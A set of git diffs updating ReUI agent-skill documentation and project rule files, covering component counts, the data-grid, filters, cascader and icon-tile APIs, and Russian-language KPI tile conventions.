**Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy. **Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy.
## icon-tile
**Required:** one child icon
**Shape:**
```tsx
<IconTile variant="elevated" size="lg">
<PackageIcon />
</IconTile>
```
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
## alert ## alert
**Required:** `Alert` > `AlertTitle` **Required:** `Alert` > `AlertTitle`
+2 -2
View File
@@ -2,7 +2,7 @@
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild. ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
- **component** - one of the 17 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`. - **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`. - **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens. - **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md). - **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
## Free vs premium ## Free vs premium
- **Free, no key:** the 17 components, all `c-*` examples, the ReUI MCP, and this skill. - **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)). - **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
## Component API index ## Component API index
+2 -2
View File
@@ -8,7 +8,7 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot: For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
- `type`: `"component"` (one of the 17 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`. - `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...). - `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`. - `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
@@ -40,7 +40,7 @@ Before writing code against any component an item uses:
Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`: Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`:
1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useReactTable` instance passed as `table`, `recordCount` set - see [components.md](./components.md)). 1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useTable({ features: dataGridFeatures, ... })` instance passed as `table`, `recordCount` set - see [components.md](./components.md)).
2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)). 2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)).
3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)). 3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)).
4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)). 4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)).
+4 -4
View File
@@ -1,17 +1,17 @@
--- ---
name: reui name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs. description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
--- ---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this. > **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents # ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign: ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free) - **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition - **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install - **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install - **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -58,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license - [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important) - [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix - [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs - [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar - [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate) - [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+2 -2
View File
@@ -2,7 +2,7 @@
## Registry setup (one-time, per project) ## Registry setup (one-time, per project)
Free items (the 17 components and all `c-*` examples) need only the plain string registry in `components.json`: Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
```json ```json
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } } { "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
@@ -54,7 +54,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
## Free vs premium boundary ## Free vs premium boundary
- Public, no key: `c-*` examples and the 17 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on. - Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate. - Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade). If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
+67 -17
View File
@@ -1,24 +1,23 @@
# ReUI components # ReUI components
The 19 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these. The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt. **Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
## data-grid (the flagship - read its API every time) ## data-grid (the flagship - read its API every time)
`data-grid` wraps TanStack Table v8. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract: `data-grid` wraps TanStack Table v9. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract:
- Build a TanStack table instance with `useReactTable(...)` (columns, data, the feature models you need: sorting, pagination, row selection). - Build a TanStack table instance with `useTable({ features: dataGridFeatures, ... })` (columns, data). `dataGridFeatures` is exported by the primitive and already bundles sorting, filtering, pagination, row selection, expanding, pinning, resizing and faceting, so there are no per-table row models to wire.
- Pass that instance to `<DataGrid table={table} recordCount={total}>`. - Pass that instance to `<DataGrid table={table} recordCount={total}>`.
- Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes. - Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes.
- Server-side data uses the documented fetch shape (`recordCount` is the total for pagination). - Server-side data uses the documented fetch shape (`recordCount` is the total for pagination).
```tsx ```tsx
const table = useReactTable({ const table = useTable({
features: dataGridFeatures,
data, data,
columns, columns,
getCoreRowModel: getCoreRowModel(),
// add sorting/pagination/selection models per the API
}) })
<DataGrid table={table} recordCount={data.length}> <DataGrid table={table} recordCount={data.length}>
@@ -28,9 +27,9 @@ const table = useReactTable({
Common mistakes: Common mistakes:
- **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useReactTable` instance and pass `table={table}` + `recordCount`. - **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useTable({ features: dataGridFeatures, ... })` instance and pass `table={table}` + `recordCount`.
- **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection. - **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection.
- **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the documented `ColumnMeta` (e.g. `cellClassName`, `headerTitle`). - **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the primitive's `DataGridColumnMeta` (e.g. `cellClassName`, `headerTitle`), set through the bundle's `columnMeta` slot.
## event-calendar ## event-calendar
@@ -107,22 +106,60 @@ Common mistakes:
## filters ## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange` **Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:** **Shape:**
```tsx ```tsx
const [filters, setFilters] = useState<Filter[]>([ const fields: FilterField[] = [
createFilter("priority", "is_any_of", ["low"]), { id: "title", label: "Title", type: "text" },
]) {
const fields: FilterFieldConfig[] = [ id: "status",
{ key: "priority", label: "Priority", type: "multiselect", label: "Status",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] }, type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
] ]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} /> <Filters fields={fields} query={query} onQueryChange={setQuery} />
``` ```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`. **Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector ## date-selector
@@ -312,6 +349,19 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
**Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy. **Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy.
## icon-tile
**Required:** one child icon
**Shape:**
```tsx
<IconTile variant="elevated" size="lg">
<PackageIcon />
</IconTile>
```
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
## alert ## alert
**Required:** `Alert` > `AlertTitle` **Required:** `Alert` > `AlertTitle`
+2 -2
View File
@@ -2,7 +2,7 @@
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild. ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
- **component** - one of the 17 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`. - **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`. - **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens. - **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md). - **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
## Free vs premium ## Free vs premium
- **Free, no key:** the 17 components, all `c-*` examples, the ReUI MCP, and this skill. - **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)). - **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
## Component API index ## Component API index
+2 -2
View File
@@ -8,7 +8,7 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot: For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
- `type`: `"component"` (one of the 17 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`. - `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...). - `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`. - `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
@@ -40,7 +40,7 @@ Before writing code against any component an item uses:
Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`: Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`:
1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useReactTable` instance passed as `table`, `recordCount` set - see [components.md](./components.md)). 1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useTable({ features: dataGridFeatures, ... })` instance passed as `table`, `recordCount` set - see [components.md](./components.md)).
2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)). 2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)).
3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)). 3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)).
4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)). 4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)).
+1 -1
View File
@@ -72,7 +72,7 @@ apps/web/src/components/ ← shared + domain + layout
| Settings | PageShell + Frame + `SettingRow` (или `SettingsShell` при 2+ секциях) | — | | Settings | PageShell + Frame + `SettingRow` (или `SettingsShell` при 2+ секциях) | — |
| Dashboard KPI | `OpsDashboard` / `KpiStatGrid` | ReUI Frame [stats-12](https://reui.io/preview/base/stats-12) hybrid | | Dashboard KPI | `OpsDashboard` / `KpiStatGrid` | ReUI Frame [stats-12](https://reui.io/preview/base/stats-12) hybrid |
| Quick Actions | `QuickActionGrid` (gated `show_quick_actions`) | Frame tiles + Badge «Перейти» | | Quick Actions | `QuickActionGrid` (gated `show_quick_actions`) | Frame tiles + Badge «Перейти» |
| Empty | `EmptyState` | `Empty` | | Empty | `EmptyState` | `Empty` + `IconStack` ([empty-state-14](https://reui.io/preview/base/empty-state-14)) |
| Loading / Error | `QueryState` / kit skeletons | `Skeleton`, `Alert` | | Loading / Error | `QueryState` / kit skeletons | `Skeleton`, `Alert` |
| Status | `StatusBadge` | ReUI `Badge` (`success`/`info`/`warning`) | | Status | `StatusBadge` | ReUI `Badge` (`success`/`info`/`warning`) |
| Create/Edit | `FormSheet` + `*-edit-sheet.tsx` | `Sheet`, `Field` | | Create/Edit | `FormSheet` + `*-edit-sheet.tsx` | `Sheet`, `Field` |
+10 -9
View File
@@ -1,11 +1,11 @@
--- ---
description: Только hybrid KPI — KpiStatGrid / row tile DNA (stats-12). Запрет SectionCards и hand-roll. description: Только hybrid KPI — KpiStatGrid / row tile DNA (stats-12 + IconTile). Запрет SectionCards и hand-roll.
alwaysApply: true alwaysApply: true
--- ---
# KPI hybrid — только kit (stats-12 DNA) # KPI hybrid — только kit (stats-12 + IconTile)
Preview: [stats-12](https://reui.io/preview/base/stats-12). SoT DNA = EvoBGP. Markup в проекте: `apps/web/src/components/reui-kit/kpi-stat-grid.tsx`. Preview: [stats-12](https://reui.io/preview/base/stats-12). Primitive: [icon-tile](https://reui.io/docs/components/base/icon-tile). SoT DNA = EvoBGP. Markup: `apps/web/src/components/reui-kit/kpi-stat-grid.tsx`.
Связанные: [`reui-mcp.mdc`](reui-mcp.mdc), [`frontend-ui-patterns.mdc`](frontend-ui-patterns.mdc). Связанные: [`reui-mcp.mdc`](reui-mcp.mdc), [`frontend-ui-patterns.mdc`](frontend-ui-patterns.mdc).
@@ -14,16 +14,17 @@ Preview: [stats-12](https://reui.io/preview/base/stats-12). SoT DNA = EvoBGP. Ma
| Зона | Компонент / DNA | | Зона | Компонент / DNA |
|------|-----------------| |------|-----------------|
| KPI-полосы / dashboard metrics | только `reui-kit/KpiStatGrid` (через `OpsDashboard` / `DetailPanel.Metrics` при наличии) | | KPI-полосы / dashboard metrics | только `reui-kit/KpiStatGrid` (через `OpsDashboard` / `DetailPanel.Metrics` при наличии) |
| Markup | horizontal compact hybrid: icon left `Item` `size-10.5` `bg-muted` + `border-background` + shadow + `ItemMedia` + label/Badge + value ± `variant` | | Markup | horizontal compact hybrid: icon left `IconTile` `variant="elevated"` `className="size-10.5"` + label/Badge + value ± `variant` |
| Row icon tiles (data-grid) | та же DNA (`AgentPlatformIcon` и клоны) — semantic `text-*` на `bg-muted` | | Row icon tiles (data-grid) | та же DNA (`AgentPlatformIcon` и клоны) — semantic `text-*` на IconTile elevated |
| Quick Actions | только `reui-kit/QuickActionGrid` (sibling hybrid DNA) | | Quick Actions | только `reui-kit/QuickActionGrid` (sibling hybrid DNA, IconTile elevated) |
Импорты UI: `@evofw/ui/components/*`. Импорты UI: `@evofw/ui/components/*`. IconTile: `@/components/reui/icon-tile`.
## NEVER ## NEVER
- SectionCards / vertical-only KPI / hand-roll Frame/Card KPI - SectionCards / vertical-only KPI / hand-roll Frame/Card KPI
- Другой size / radius / solid brand fill вместо `bg-muted` - `Item` `size-10.5` `bg-muted` hybrid вместо IconTile
- Другой size / radius / solid brand fill вместо `elevated`
- `card-35` как замена stats-12 hybrid KPI - `card-35` как замена stats-12 hybrid KPI
- Копипаст ReUI block в route — adapt через `reui-kit/` - Копипаст ReUI block в route — adapt через `reui-kit/`
- Голый lucide `size-4` в name-cell без hybrid tile - Голый lucide `size-4` в name-cell без IconTile
+12 -3
View File
@@ -11,10 +11,14 @@ alwaysApply: true
| Документ | URL | | Документ | URL |
|----------|-----| |----------|-----|
| **Introduction** | https://reui.io/docs |
| **llms.txt** | https://reui.io/llms.txt | | **llms.txt** | https://reui.io/llms.txt |
| **Get Started** | https://reui.io/docs/get-started | | **Get Started** | https://reui.io/docs/get-started |
| **Styling** | https://reui.io/docs/styling | | **Styling** | https://reui.io/docs/styling |
| **Registry** | https://reui.io/docs/registry |
| **MCP** | https://reui.io/docs/mcp | | **MCP** | https://reui.io/docs/mcp |
| **Agent Skills** | https://reui.io/docs/agent-skills |
| **Cursor MCP** | https://reui.io/docs/cursor |
| **Blocks** | https://reui.io/blocks | | **Blocks** | https://reui.io/blocks |
| **Settings blocks** | https://reui.io/blocks/application/settings | | **Settings blocks** | https://reui.io/blocks/application/settings |
| **License** | https://reui.io/docs/license-setup | | **License** | https://reui.io/docs/license-setup |
@@ -27,6 +31,10 @@ alwaysApply: true
